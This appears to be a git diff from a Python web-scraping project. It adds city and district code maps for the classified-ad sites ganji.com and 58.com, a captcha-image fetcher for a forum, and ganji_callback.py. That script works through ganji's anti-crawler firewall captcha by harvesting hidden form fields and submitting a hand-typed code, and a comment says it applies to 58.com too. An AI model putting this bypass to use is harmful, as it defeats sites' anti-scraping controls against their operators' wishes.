[ + 'chengguanqv', # 城关 + 'qilihe', # 七里河 + 'anning', # 安宁 + 'xigu', # 西固 + 'honggu', # 红古 + 'lzxq', # 新区 + 'lanzhou', # 兰州周边 + ], + # 天水 甘肃 西北 + 'tianshui': [ + 'tianshuishi', # 天水 + 'qinzhouqu', # 秦州 + 'maijiqu', # 麦积 + 'qingshuixian', # 清水 + 'qinanxian', # 秦安 + 'ganguxin', # 甘谷 + 'wushanxian', # 武山 + 'zhangjiachun', # 张家川 + ], + # 白银 甘肃 西北 + 'by': [ + 'baiyin', # 白银 + 'pingchuan', # 平川 + 'jingyuan', # 靖远 + 'huining', # 会宁 + 'jingtan', # 景泰 + 'baiyinzhoubian', # 白银周边 + ], + # 庆阳 甘肃 西北 + 'qingyang': [ + 'xifengq', # 西峰 + 'huanx', # 环县 + 'huachi', # 华池 + 'qingcheng', # 庆城 + 'zheny', # 镇原 + 'ningx', # 宁县 + 'zhengning', # 正宁 + 'heshui', # 合水 + 'qingyangzhoubian', # 庆阳周边 + ], + # 平凉 甘肃 西北 + 'pl': [ + 'kongtongqu', # 崆峒 + 'zhuanglangxian', # 庄浪 + 'jingningxian', # 静宁 + 'jingchuanxian', # 泾川 + 'lingtaixian', # 灵台 + 'chongxinxian', # 崇信 + 'huatingxian', # 华亭 + ], + # 酒泉 甘肃 西北 + 'jq': [ + 'jiuquan', # 酒泉 + 'yumen', # 玉门 + 'dunhuang', # 敦煌 + 'jinta', # 金塔 + 'anxi', # 安西 + 'subei', # 肃北 + 'akesai', # 阿克塞 + 'jiuquanzhoubian', # 酒泉周边 + ], + # 张掖 甘肃 西北 + 'zhangye': [ + 'linzhe', # 临泽 + 'gaotai', # 高台 + 'shandan', # 山丹 + 'minle', # 民乐 + 'sunan', # 肃南 + 'zhangyezhoubian', # 张掖周边 + ], + # 武威 甘肃 西北 + 'wuwei': [ + 'liangzhou', # 凉州 + 'minqin', # 民勤 + 'gulang', # 古浪 + 'tianzx', # 天祝 + 'wuweizhoubian', # 武威周边 + ], + # 定西 甘肃 西北 + 'dx': [ + 'anding', # 安定 + 'tongwei', # 通渭 + 'lintao', # 临洮 + 'zhangxian', # 漳县 + 'minxian', # 岷县 + 'weiyuanx', # 渭源 + 'longxix', # 陇西 + 'dingxizhoubian', # 定西周边 + ], + # 金昌 甘肃 西北 + 'jinchang': [ + 'yongchangxian', # 永昌 + 'hexibao', # 河西堡 + 'jinchangshiqu', # 金川 + ], + # 陇南 甘肃 西北 + 'ln': [ + 'wudu', # 武都 + 'chengx', # 成县 + 'huix', # 徽县 + 'liangdang', # 两当 + 'dangchang', # 宕昌 + 'wenx', # 文县 + 'longnanzhoubian', # 陇南周边 + ], + # 临夏 甘肃 西北 + 'linxia': [ + 'dongxiangxian', # 东乡 + 'guanghexian', # 广河 + 'linxialxs', # 临夏市 + 'hezhengxian', # 和政 + 'jishixian', # 积石 + 'kanglexian', # 康乐 + 'linxiaxian', # 临夏 + 'yongjingxian', # 永靖 + ], + # 嘉峪关 甘肃 西北 + 'jyg': [ + 'wuyi', # 五一 + 'xinhua', # 新华 + 'qianj', # 前进 + 'shengl', # 胜利 + 'jians', # 建设 + 'jingtieshan', # 镜铁山矿区 + 'jiayuguanzhoubian', # 嘉峪关周边 + ], + # 甘南 甘肃 西北 + 'gn': [ + 'hezuo', # 合作 + 'lintan', # 临潭 + 'zuoni', # 卓尼 + 'zhouqu', # 舟曲 + 'diebu', # 迭部 + 'maqu', # 玛曲 + 'luqu', # 碌曲 + 'xiahe', # 夏河 + 'gannanzhoubian', # 甘南周边 + ], + # 银川 宁夏 西北 + 'yinchuan': [ + 'xingqing', # 兴庆 + 'jinfeng', # 金凤 + 'xixia', # 西夏 + 'helan', # 贺兰 + 'lingwu', # 灵武 + 'yongningxian', # 永宁 + 'yinchuanqita', # 其它 + ], + # 吴忠 宁夏 西北 + 'wuzhong': [ + 'litong', # 利通 + 'qingtongxia', # 青铜峡 + 'yanchi', # 盐池 + 'tongxin', # 同心 + 'hongsipu', # 红寺堡 + 'taiyangshan', # 太阳山 + 'wuzhongzhoubian', # 吴忠周边 + ], + # 石嘴山 宁夏 西北 + 'szs': [ + 'dawukou', # 大武口 + 'huinong', # 惠农 + 'pingluo', # 平罗 + 'shizuishanzhoubian', # 石嘴山周边 + ], + # 中卫 宁夏 西北 + 'zw': [ + 'shapotou', # 沙坡头 + 'zhongning', # 中宁 + 'haiyuan', # 海原 + 'zhongweizhoubian', # 中卫周边 + ], + # 固原 宁夏 西北 + 'guyuan': [ + 'guyuanshi', # 固原 + 'yuanzhouqu', # 原州 + 'xijixian', # 西吉 + 'longdexian', # 隆德 + 'pengyangxian', # 彭阳 + 'jingyuanxian', # 泾源 + 'haiyuanxian', # 海原 + 'jingjikaifa', # 经济开发区 + ], + # 西宁 青海 西北 + 'xn': [ + 'chengxi', # 城西 + 'chengzhong', # 城中 + 'chengdong', # 城东 + 'chengbeiqu', # 城北 + 'huangyuan', # 湟源 + 'datongxian', # 大通 + 'huangzhong', # 湟中 + 'xining', # 其它 + ], + # 海西 青海 西北 + 'hx': [ + 'delinghashi', # 德令哈 + 'geermushi', # 格尔木 + 'dulan', # 都兰 + 'wulan', # 乌兰 + 'tianjun', # 天峻 + 'haixizhoubian', # 海西周边 + ], + # 海北 青海 西北 + 'haibei': [ + 'haiyanx', # 海晏 + 'qilian', # 祁连 + 'gangcha', # 刚察 + 'menyuan', # 门源 + 'haibeizhoubian', # 海北周边 + ], + # 果洛 青海 西北 + 'guoluo': [ + 'maqin', # 玛沁 + 'banma', # 班玛 + 'gande', # 甘德 + 'dari', # 达日 + 'jiuzhi', # 久治 + 'maduo', # 玛多 + 'guoluozhoubian', # 果洛周边 + ], + # 海东 青海 西北 + 'haidong': [ + 'pingan', # 平安 + 'ledu', # 乐都 + 'minhe', # 民和 + 'huzhu', # 互助 + 'lualong', # 化隆 + 'xunhua', # 循化 + 'haidongzhoubian', # 海东周边 + ], + # 黄南 青海 西北 + 'huangnan': [ + 'tongren', # 同仁 + 'jianzha', # 尖扎 + 'zeku', # 泽库 + 'henanx', # 河南县 + 'huangnanzhoubian', # 黄南周边 + ], + # 玉树 青海 西北 + 'ys': [ + 'yushux', # 玉树 + 'zaduo', # 杂多 + 'chengduo', # 称多 + 'zhiduo', # 治多 + 'nangqian', # 囊谦 + 'qumalai', # 曲麻莱 + 'yushuzhoubian', # 玉树周边 + ], + # 海南 青海 西北 + 'hainan': [ + 'gonghexian', # 共和 + 'tongdexian', # 同德 + 'guidexian', # 贵德 + 'xinghaixian', # 兴海 + 'guinanxian', # 贵南 + 'hainanzhoubian', # 海南周边 + ], + # 香港 其他 其他 + 'hk': [ + 'jiulongcheng', # 九龙城 + 'zhongxi', # 中西 + 'dongqu', # 东区 + 'guantang', # 观塘 + 'wanzai', # 湾仔 + 'shatian', # 沙田 + 'tunmen', # 屯门 + 'quanwan', # 荃湾 + 'huangdaxian', # 黄大仙 + 'lidao', # 离岛 + 'xianggang', # 其它 + ], + # 澳门 其他 其他 + 'am': [ + 'huadimatangqu', # 花地玛堂 + 'shenganduonitangqu', # 圣安多尼堂区 + 'datangqu', # 大堂 + 'wangdetangqu', # 望德堂 + 'fengshuntangqu', # 风顺堂 + 'jiamotangqu', # 嘉模堂 + 'shengfanggetangqu', # 圣方济各堂 + 'ludangcheng', # 路氹城 + 'aomenzhoubian', # 澳门周边 + ], + # 台湾 其他 其他 + 'tw': [ + 'taibei', # 台北 + 'jilong', # 基隆 + 'gaoxiong', # 高雄 + 'taizhong', # 台中 + 'tainan', # 台南 + 'taiwan', # 其它 + ], +} diff --git a/fuck/city_map_58.csv b/fuck/city_map_58.csv new file mode 100644 index 0000000..fce73b8 --- /dev/null +++ b/fuck/city_map_58.csv @@ -0,0 +1,426 @@ +city_code,city_name,province,district,city_id +bj,北京,,华北 ,11 +sh,上海,,华东 ,31 +tj,天津,,华北 ,12 +cq,重庆,,西南,50 +qd,青岛,山东,华东,3702 +jn,济南,山东,华东,3701 +yt,烟台,山东,华东,3706 +wf,潍坊,山东,华东,3707 +linyi,临沂,山东,华东,3713 +zb,淄博,山东,华东,3703 +jining,济宁,山东,华东,3708 +ta,泰安,山东,华东,3709 +lc,聊城,山东,华东,3715 +weihai,威海,山东,华东,3710 +zaozhuang,枣庄,山东,华东,3704 +dz,德州,山东,华东,3714 +rizhao,日照,山东,华东,3711 +dy,东营,山东,华东,3705 +heze,菏泽,山东,华东,3717 +bz,滨州,山东,华东,3716 +lw,莱芜,山东,华东,3712 +zhangqiu,章丘,山东,华东,3701 +kl,垦利,山东,华东,3705 +zc,诸城,山东,华东,3707 +shouguang,寿光,山东,华东,3707 +su,苏州,江苏,华东,3205 +nj,南京,江苏,华东,3201 +wx,无锡,江苏,华东,3202 +cz,常州,江苏,华东,3204 +xz,徐州,江苏,华东,3203 +nt,南通,江苏,华东,3206 +yz,扬州,江苏,华东,3210 +yancheng,盐城,江苏,华东,3209 +ha,淮安,江苏,华东,3208 +lyg,连云港,江苏,华东,3207 +taizhou,泰州,江苏,华东,3212 +suqian,宿迁,江苏,华东,3213 +zj,镇江,江苏,华东,3211 +shuyang,沭阳,江苏,华东,3213 +dafeng,大丰,江苏,华东,3209 +rugao,如皋,江苏,华东,3206 +qidong,启东,江苏,华东,3206 +liyang,溧阳,江苏,华东,3223 +haimen,海门,江苏,华东,3206 +donghai,东海,江苏,华东,3207 +yangzhong,扬中,江苏,华东,3211 +xinghuashi,兴化,江苏,华东,3212 +xinyishi,新沂,江苏,华东,3203 +taixing,泰兴,江苏,华东,3214 +rudong,如东,江苏,华东,3206 +pizhou,邳州,江苏,华东,3203 +xzpeixian,沛县,江苏,华东,3203 +jingjiang,靖江,江苏,华东,3216 +jianhu,建湖,江苏,华东,3209 +haian,海安,江苏,华东,3206 +dongtai,东台,江苏,华东,3209 +danyang,丹阳,江苏,华东,3221 +hz,杭州,浙江,华东,3301 +nb,宁波,浙江,华东,3302 +wz,温州,浙江,华东,3303 +jh,金华,浙江,华东,3307 +jx,嘉兴,浙江,华东,3304 +tz,台州,浙江,华东,3310 +sx,绍兴,浙江,华东,3306 +huzhou,湖州,浙江,华东,3305 +lishui,丽水,浙江,华东,3311 +quzhou,衢州,浙江,华东,3308 +zhoushan,舟山,浙江,华东,3309 +yueqingcity,乐清,浙江,华东,3303 +ruiancity,瑞安,浙江,华东,3303 +yiwu,义乌,浙江,华东,3313 +yuyao,余姚,浙江,华东,3302 +zhuji,诸暨,浙江,华东,3306 +xiangshanxian,象山,浙江,华东,3302 +wenling,温岭,浙江,华东,3310 +tongxiang,桐乡,浙江,华东,3304 +cixi,慈溪,浙江,华东,3302 +changxing,长兴,浙江,华东,3305 +jiashanx,嘉善,浙江,华东,3304 +haining,海宁,浙江,华东,3312 +deqing,德清,浙江,华东,3305 +hf,合肥,安徽,华东,3401 +wuhu,芜湖,安徽,华东,3402 +bengbu,蚌埠,安徽,华东,3403 +fy,阜阳,安徽,华东,3412 +hn,淮南,安徽,华东,3404 +anqing,安庆,安徽,华东,3408 +suzhou,宿州,安徽,华东,3413 +la,六安,安徽,华东,3415 +huaibei,淮北,安徽,华东,3406 +chuzhou,滁州,安徽,华东,3411 +mas,马鞍山,安徽,华东,3405 +tongling,铜陵,安徽,华东,3407 +xuancheng,宣城,安徽,华东,3418 +bozhou,亳州,安徽,华东,3416 +huangshan,黄山,安徽,华东,3410 +chizhou,池州,安徽,华东,3417 +ch,巢湖,安徽,华东,3414 +hexian,和县,安徽,华东,3405 +hq,霍邱,安徽,华东,3415 +tongcheng,桐城,安徽,华东,3408 +ningguo,宁国,安徽,华东,3418 +tianchang,天长,安徽,华东,3411 +sz,深圳,广东,华南,4403 +gz,广州,广东,华南,4401 +dg,东莞,广东,华南,4419 +fs,佛山,广东,华南,4406 +zs,中山,广东,华南,4420 +zh,珠海,广东,华南,4404 +huizhou,惠州,广东,华南,4413 +jm,江门,广东,华南,4407 +st,汕头,广东,华南,4405 +zhanjiang,湛江,广东,华南,4408 +zq,肇庆,广东,华南,4412 +mm,茂名,广东,华南,4409 +jy,揭阳,广东,华南,4452 +mz,梅州,广东,华南,4414 +qingyuan,清远,广东,华南,4418 +yj,阳江,广东,华南,4417 +sg,韶关,广东,华南,4402 +heyuan,河源,广东,华南,4416 +yf,云浮,广东,华南,4453 +sw,汕尾,广东,华南,4415 +chaozhou,潮州,广东,华南,4451 +taishan,台山,广东,华南,4407 +yangchun,阳春,广东,华南,4417 +sd,顺德,广东,华南,4422 +huidong,惠东,广东,华南,4413 +boluo,博罗,广东,华南,4413 +fz,福州,福建,华南,3501 +xm,厦门,福建,华南,3502 +qz,泉州,福建,华南,3505 +pt,莆田,福建,华南,3503 +zhangzhou,漳州,福建,华南,3506 +nd,宁德,福建,华南,3509 +sm,三明,福建,华南,3504 +np,南平,福建,华南,3507 +ly,龙岩,福建,华南,3508 +wuyishan,武夷山,福建,华南,3507 +shishi,石狮,福建,华南,3505 +jinjiangshi,晋江,福建,华南,3505 +nananshi,南安,福建,华南,3505 +nn,南宁,广西,华南,4501 +liuzhou,柳州,广西,华南,4502 +gl,桂林,广西,华南,4503 +yulin,玉林,广西,华南,4509 +wuzhou,梧州,广西,华南,4504 +bh,北海,广西,华南,4505 +gg,贵港,广西,华南,4508 +qinzhou,钦州,广西,华南,4507 +baise,百色,广西,华南,4510 +hc,河池,广西,华南,4512 +lb,来宾,广西,华南,4513 +hezhou,贺州,广西,华南,4511 +fcg,防城港,广西,华南,4506 +chongzuo,崇左,广西,华南,4514 +haikou,海口,海南,中南,4601 +sanya,三亚,海南,中南,4602 +wzs,五指山,海南,中南,4603 +sansha,三沙,海南,中南,3509 +qh,琼海,海南,中南,4604 +wenchang,文昌,海南,中南,4606 +wanning,万宁,海南,中南,4607 +df,东方,海南,中南,4608 +baish,白沙,海南,中南,5307 +danzhou,儋州,海南,中南,4605 +zz,郑州,河南,中南,4101 +luoyang,洛阳,河南,中南,4103 +xx,新乡,河南,中南,4107 +ny,南阳,河南,中南,4113 +xc,许昌,河南,中南,4110 +pds,平顶山,河南,中南,4104 +ay,安阳,河南,中南,4105 +jiaozuo,焦作,河南,中南,4108 +sq,商丘,河南,中南,4114 +kaifeng,开封,河南,中南,4102 +puyang,濮阳,河南,中南,4109 +zk,周口,河南,中南,4116 +xy,信阳,河南,中南,4115 +zmd,驻马店,河南,中南,4117 +luohe,漯河,河南,中南,4111 +smx,三门峡,河南,中南,4112 +hb,鹤壁,河南,中南,4106 +jiyuan,济源,河南,中南,4118 +mg,明港,河南,中南,4115 +yanling,鄢陵,河南,中南,4110 +yuzhou,禹州,河南,中南,4110 +changge,长葛,河南,中南,4110 +wh,武汉,湖北,中南,4201 +yc,宜昌,湖北,中南,4205 +xf,襄阳,湖北,中南,4204 +jingzhou,荆州,湖北,中南,4210 +shiyan,十堰,湖北,中南,4203 +hshi,黄石,湖北,中南,4202 +xiaogan,孝感,湖北,中南,4209 +hg,黄冈,湖北,中南,4211 +es,恩施,湖北,中南,4228 +jingmen,荆门,湖北,中南,4208 +xianning,咸宁,湖北,中南,4212 +ez,鄂州,湖北,中南,4207 +suizhou,随州,湖北,中南,4213 +qianjiang,潜江,湖北,中南,4230 +tm,天门,湖北,中南,4231 +xiantao,仙桃,湖北,中南,4229 +snj,神农架,湖北,中南,4232 +yidou,宜都,湖北,中南,4205 +cs,长沙,湖南,中南,4301 +zhuzhou,株洲,湖南,中南,4302 +yiyang,益阳,湖南,中南,4309 +changde,常德,湖南,中南,4307 +hy,衡阳,湖南,中南,4304 +xiangtan,湘潭,湖南,中南,4303 +yy,岳阳,湖南,中南,4306 +chenzhou,郴州,湖南,中南,4310 +shaoyang,邵阳,湖南,中南,4305 +hh,怀化,湖南,中南,4312 +yongzhou,永州,湖南,中南,4311 +ld,娄底,湖南,中南,4313 +xiangxi,湘西,湖南,中南,4331 +zjj,张家界,湖南,中南,4308 +nc,南昌,江西,中南,3601 +ganzhou,赣州,江西,中南,3607 +jj,九江,江西,中南,3604 +yichun,宜春,江西,中南,3609 +ja,吉安,江西,中南,3608 +sr,上饶,江西,中南,3611 +px,萍乡,江西,中南,3603 +fuzhou,抚州,江西,中南,3610 +jdz,景德镇,江西,中南,3602 +xinyu,新余,江西,中南,3605 +yingtan,鹰潭,江西,中南,3606 +yxx,永新,江西,中南,3608 +sy,沈阳,辽宁,东北,2101 +dl,大连,辽宁,东北,2102 +as,鞍山,辽宁,东北,2103 +jinzhou,锦州,辽宁,东北,2107 +fushun,抚顺,辽宁,东北,2104 +yk,营口,辽宁,东北,2108 +pj,盘锦,辽宁,东北,2111 +cy,朝阳,辽宁,东北,2113 +dandong,丹东,辽宁,东北,2106 +liaoyang,辽阳,辽宁,东北,2110 +benxi,本溪,辽宁,东北,2105 +hld,葫芦岛,辽宁,东北,2114 +tl,铁岭,辽宁,东北,2112 +fx,阜新,辽宁,东北,2109 +pld,庄河,辽宁,东北,2102 +wfd,瓦房店,辽宁,东北,2102 +hrb,哈尔滨,黑龙江,东北,2301 +dq,大庆,黑龙江,东北,2306 +qqhr,齐齐哈尔,黑龙江,东北,2302 +mdj,牡丹江,黑龙江,东北,2310 +suihua,绥化,黑龙江,东北,2312 +jms,佳木斯,黑龙江,东北,2308 +jixi,鸡西,黑龙江,东北,2303 +sys,双鸭山,黑龙江,东北,2305 +hegang,鹤岗,黑龙江,东北,2304 +heihe,黑河,黑龙江,东北,2311 +yich,伊春,黑龙江,东北,2307 +qth,七台河,黑龙江,东北,2309 +dxal,大兴安岭,黑龙江,东北,2327 +cc,长春,吉林,东北,2201 +jl,吉林,吉林,东北,22 +sp,四平,吉林,东北,2203 +yanbian,延边,吉林,东北,2224 +songyuan,松原,吉林,东北,2207 +bc,白城,吉林,东北,2208 +th,通化,吉林,东北,2205 +baishan,白山,吉林,东北,2206 +liaoyuan,辽源,吉林,东北,2204 +cd,成都,四川,西南,5101 +mianyang,绵阳,四川,西南,5107 +deyang,德阳,四川,西南,5106 +nanchong,南充,四川,西南,5113 +yb,宜宾,四川,西南,5115 +zg,自贡,四川,西南,5103 +ls,乐山,四川,西南,5111 +luzhou,泸州,四川,西南,5105 +dazhou,达州,四川,西南,5117 +scnj,内江,四川,西南,5110 +suining,遂宁,四川,西南,5109 +panzhihua,攀枝花,四川,西南,5104 +ms,眉山,四川,西南,5114 +ga,广安,四川,西南,5116 +zy,资阳,四川,西南,5120 +liangshan,凉山,四川,西南,5134 +guangyuan,广元,四川,西南,5108 +ya,雅安,四川,西南,5118 +bazhong,巴中,四川,西南,5119 +ab,阿坝,四川,西南,5132 +ganzi,甘孜,四川,西南,5133 +km,昆明,云南,西南,5301 +qj,曲靖,云南,西南,5303 +dali,大理,云南,西南,5329 +honghe,红河,云南,西南,5325 +yx,玉溪,云南,西南,5304 +lj,丽江,云南,西南,5307 +ws,文山,云南,西南,5326 +cx,楚雄,云南,西南,5323 +bn,西双版纳,云南,西南,5328 +zt,昭通,云南,西南,5306 +dh,德宏,云南,西南,5331 +pe,普洱,云南,西南,5311 +bs,保山,云南,西南,5305 +lincang,临沧,云南,西南,5309 +diqing,迪庆,云南,西南,5334 +nujiang,怒江,云南,西南,5333 +gy,贵阳,贵州,西南,5201 +zunyi,遵义,贵州,西南,5203 +qdn,黔东南,贵州,西南,5226 +qn,黔南,贵州,西南,5227 +lps,六盘水,贵州,西南,5202 +bijie,毕节,贵州,西南,5224 +tr,铜仁,贵州,西南,5222 +anshun,安顺,贵州,西南,5204 +qxn,黔西南,贵州,西南,5223 +lasa,拉萨,西藏,西南,5401 +rkz,日喀则,西藏,西南,5423 +sn,山南,西藏,西南,5422 +linzhi,林芝,西藏,西南,5426 +changdu,昌都,西藏,西南,5421 +nq,那曲,西藏,西南,5424 +al,阿里,西藏,西南,5425 +rituxian,日土,西藏,西南,5425 +gaizexian,改则,西藏,西南,5425 +sjz,石家庄,河北,华北,1301 +bd,保定,河北,华北,1306 +ts,唐山,河北,华北,1302 +lf,廊坊,河北,华北,1310 +hd,邯郸,河北,华北,1304 +qhd,秦皇岛,河北,华北,1303 +cangzhou,沧州,河北,华北,1309 +xt,邢台,河北,华北,1305 +hs,衡水,河北,华北,1311 +zjk,张家口,河北,华北,1307 +chengde,承德,河北,华北,1308 +dingzhou,定州,河北,华北,1306 +gt,馆陶,河北,华北,1304 +zhangbei,张北,河北,华北,1307 +zx,赵县,河北,华北,1301 +zd,正定,河北,华北,1301 +ty,太原,山西,华北,1401 +linfen,临汾,山西,华北,1410 +dt,大同,山西,华北,1402 +yuncheng,运城,山西,华北,1408 +jz,晋中,山西,华北,1407 +changzhi,长治,山西,华北,1404 +jincheng,晋城,山西,华北,1405 +yq,阳泉,山西,华北,1403 +lvliang,吕梁,山西,华北,1411 +xinzhou,忻州,山西,华北,1409 +shuozhou,朔州,山西,华北,1406 +linyixian,临猗,山西,华北,1408 +qingxu,清徐,山西,华北,1401 +hu,呼和浩特,内蒙古,华北,1501 +bt,包头,内蒙古,华北,1502 +chifeng,赤峰,内蒙古,华北,1504 +erds,鄂尔多斯,内蒙古,华北,1506 +tongliao,通辽,内蒙古,华北,1505 +hlbe,呼伦贝尔,内蒙古,华北,1507 +bycem,巴彦淖尔市,内蒙古,华北,1508 +wlcb,乌兰察布,内蒙古,华北,1509 +xl,锡林郭勒,内蒙古,华北,1525 +xam,兴安盟,内蒙古,华北,1522 +wuhai,乌海,内蒙古,华北,1503 +alsm,阿拉善盟,内蒙古,华北,1529 +hlr,海拉尔,内蒙古,华北,1507 +xa,西安,陕西,西北,6101 +xianyang,咸阳,陕西,西北,6104 +baoji,宝鸡,陕西,西北,6103 +wn,渭南,陕西,西北,6105 +hanzhong,汉中,陕西,西北,6107 +yl,榆林,陕西,西北,6108 +yanan,延安,陕西,西北,6106 +ankang,安康,陕西,西北,6109 +sl,商洛,陕西,西北,6110 +tc,铜川,陕西,西北,6102 +xj,乌鲁木齐,新疆,西北,6501 +changji,昌吉,新疆,西北,6523 +bygl,巴音郭楞,新疆,西北,6528 +yili,伊犁,新疆,西北,6540 +aks,阿克苏,新疆,西北,6529 +ks,喀什,新疆,西北,6531 +hami,哈密,新疆,西北,6522 +klmy,克拉玛依,新疆,西北,6502 +betl,博尔塔拉,新疆,西北,6527 +tlf,吐鲁番,新疆,西北,6521 +ht,和田,新疆,西北,6532 +shz,石河子,新疆,西北,6544 +kzls,克孜勒苏,新疆,西北,6530 +ale,阿拉尔,新疆,西北,6545 +wjq,五家渠,新疆,西北,6547 +tmsk,图木舒克,新疆,西北,6546 +alt,阿勒泰,新疆,西北,6543 +tac,塔城,新疆,西北,6542 +lz,兰州,甘肃,西北,6201 +tianshui,天水,甘肃,西北,6205 +by,白银,甘肃,西北,6204 +qingyang,庆阳,甘肃,西北,6210 +pl,平凉,甘肃,西北,6208 +jq,酒泉,甘肃,西北,6209 +zhangye,张掖,甘肃,西北,6207 +wuwei,武威,甘肃,西北,6206 +dx,定西,甘肃,西北,6211 +jinchang,金昌,甘肃,西北,6203 +ln,陇南,甘肃,西北,6212 +linxia,临夏,甘肃,西北,6229 +jyg,嘉峪关,甘肃,西北,6202 +gn,甘南,甘肃,西北,6230 +yinchuan,银川,宁夏,西北,6401 +wuzhong,吴忠,宁夏,西北,6403 +szs,石嘴山,宁夏,西北,6402 +zw,中卫,宁夏,西北,6405 +guyuan,固原,宁夏,西北,6404 +xn,西宁,青海,西北,6301 +hx,海西,青海,西北,6328 +haibei,海北,青海,西北,6322 +guoluo,果洛,青海,西北,6326 +haidong,海东,青海,西北,6321 +huangnan,黄南,青海,西北,6323 +ys,玉树,青海,西北,6327 +hainan,海南,青海,西北,46 +hk,香港,其他,其他,81 +am,澳门,其他,其他,82 +tw,台湾,其他,其他,71 \ No newline at end of file diff --git a/fuck/fishc.py b/fuck/fishc.py new file mode 100644 index 0000000..15cf9a7 --- /dev/null +++ b/fuck/fishc.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: fishc.py +@time: 2017/6/1 上午9:08 +""" + + +import requests + +url = 'http://bbs.fishc.com/misc.php?mod=seccode&update=51882&idhash=cSp1R1BV' + +header = { + 'Host': 'bbs.fishc.com', + 'Referer': 'http://bbs.fishc.com/member.php?mod=logging&action=login&referer=', + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + } + + +def run(): + res = requests.get(url, headers=header) + open('logo.gif', 'wb').write(res.content) + + +if __name__ == '__main__': + run() diff --git a/fuck/ganji_callback.py b/fuck/ganji_callback.py new file mode 100644 index 0000000..aba2636 --- /dev/null +++ b/fuck/ganji_callback.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ganji_callback.py +@time: 2017/8/18 下午4:18 +""" + + +import time +import lxml.html +import requests +from urlparse import urljoin + +from requests.exceptions import Timeout + + +header = { + 'Host': 'callback.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + + +s = requests.session() + + +callback_url = 'http://callback.ganji.com/firewall/valid/1709685058.do?namespace=ganji_hy_list_pc&url=http%3A%2F%2Fanshan.ganji.com%2Fbanjia%2F' + + +def fuck(): + r_g = s.get(callback_url) + html = r_g.text + doc = lxml.html.fromstring(html) + + # 获取页面隐藏域表单 + uuid = doc.xpath('//input[@id="uuid"]/@value')[0].strip() + url = doc.xpath('//input[@id="url"]/@value')[0].strip() + namespace = doc.xpath('//input[@id="namespace"]/@value')[0].strip() + ip = doc.xpath('//input[@id="ip"]/@value')[0].strip() + + # 获取验证码图片 + img_url_text = doc.xpath('//img[@id="verify_img"]/@src')[0].strip() + img_url = urljoin(callback_url, img_url_text) + print img_url + + # 保存验证码图片 + img_name = 'ganji_%s.jpg' % uuid + img_content = s.get(img_url).content + with open(img_name, 'w') as f: + f.write(img_content) + time.sleep(5) + + verify_code = raw_input('verify_code') + + print uuid + print url + print namespace + print ip + print r_g.cookies.__dict__ + data = { + 'namespace': namespace, + 'uuid': uuid, + 'url': url, + 'verify_code': verify_code + } + r_p = s.post(callback_url, data=data) + r_p_json = r_p.json() # {"msg":"验证码过期.","code":-1} + print r_p_json + if r_p_json.get('code') == 0: + print u'识别成功' + else: + print r_p_json.get('msg') + + +if __name__ == '__main__': + fuck() + + +""" +# 获取页面隐藏域表单 + + + + + +# 查看出口IP +➜ ~ curl ifconfig.me +101.231.185.66 + +# 验证IP +In [1]: 101*256*256*256 + 231*256*256 + 185*256 + 66 +Out[1]: 1709685058 + +买一送一,童叟无欺 +58也是一样的: +http://callback.58.com/firewall/valid/920593415.do?namespace=huangyedetailpc&url=http%3A%2F%2Finfodetail1.58.com%2Fsz%2Fjisuanji%2F27978971970226x.shtml +""" diff --git a/fuck/ganji_huangye.py b/fuck/ganji_huangye.py new file mode 100644 index 0000000..e81b48b --- /dev/null +++ b/fuck/ganji_huangye.py @@ -0,0 +1,700 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ganji_huangye.py +@time: 2017/8/16 上午10:37 +""" + + +import lxml.html +import requests + + +header_cate = { + 'Host': 'sh.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +header_city = { + 'Host': 'www.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +s = requests.session() + + +cate_map = { + # 电脑维修 http://sh.ganji.com/weixiu/ + 'diannaoweixiu': '(138)', # 台式机维修 + 'bijiben': '(138)', # 笔记本维修 + 'sujuhuifu': '(183),(138)', # 数据恢复 + 'xianshiqiweixiu': '(138)', # 电脑显示器维修 + 'pingbanweixiu': '(138)', # ipad/平板电脑维修 + 'serverweixiu': '(138)', # 服务器维修/维护 + 'wangluoweixiu': '(138)', # 网络维修 + 'xitonganzhuang': '(138)', # 系统安装 + 'itwaibaowx': '(138)', # it外包 + 'diannaozujianwx': '(138)', # 电脑组件维修 + 'qitaweixiu': '(138)', # 其他电脑维修 + + # 手机维修 http://sh.ganji.com/shumashoujiweixiu/ + # 220 | 手机维修 + # 262 | 影音家电维修 + 'shoujiweixiu': '(220)', # 手机维修 + 'pingguoshoujiweixiu': '(220)', # 苹果 + 'sanxingshoujiweixiu': '(220)', # 三星 + 'nuojiyashoujiweixiu': '(220)', # 诺基亚 + 'htcshoujiweixiu': '(220)', # HTC + 'motuoluolashoujiweixiu': '(220)', # 摩托罗拉 + 'suoaishoujiweixiu': '(220)', # 索爱 + 'heimeishoujiweixiu': '(220)', # 黑莓 + 'lgshoujiweixiu': '(220)', # LG + 'guochanshoujiweixiu': '(220)', # 国产 + 'xiapushoujwx': '(220)', # 夏普 + 'duopudashoujwx': '(220)', # 多普达 + 'lianxiangshoujwx': '(220)', # 联想 + 'xiaomiweixiu': '(220)', # 小米 + 'meizuweixiu': '(220)', # 魅族 + 'huaweiweixiu': '(220)', # 华为 + 'zteweixiu': '(220)', # 中兴 + 'coolpadweixiu': '(220)', # 酷派 + 'tianyuweixiu': '(220)', # 天语 + 'jinliweixiu': '(220)', # 金立 + + + 'shumaweixiu': '(262)', # 数码维修 + 'shumaxiangjiwx': '(262)', # 数码相机维修 + 'shexiangjiwx': '(262)', # 摄像机维修 + 'danfanwx': '(262)', # 单反相机/单反配件维修 + 'dandianwx': '(262)', # 单电/微单相机维修 + 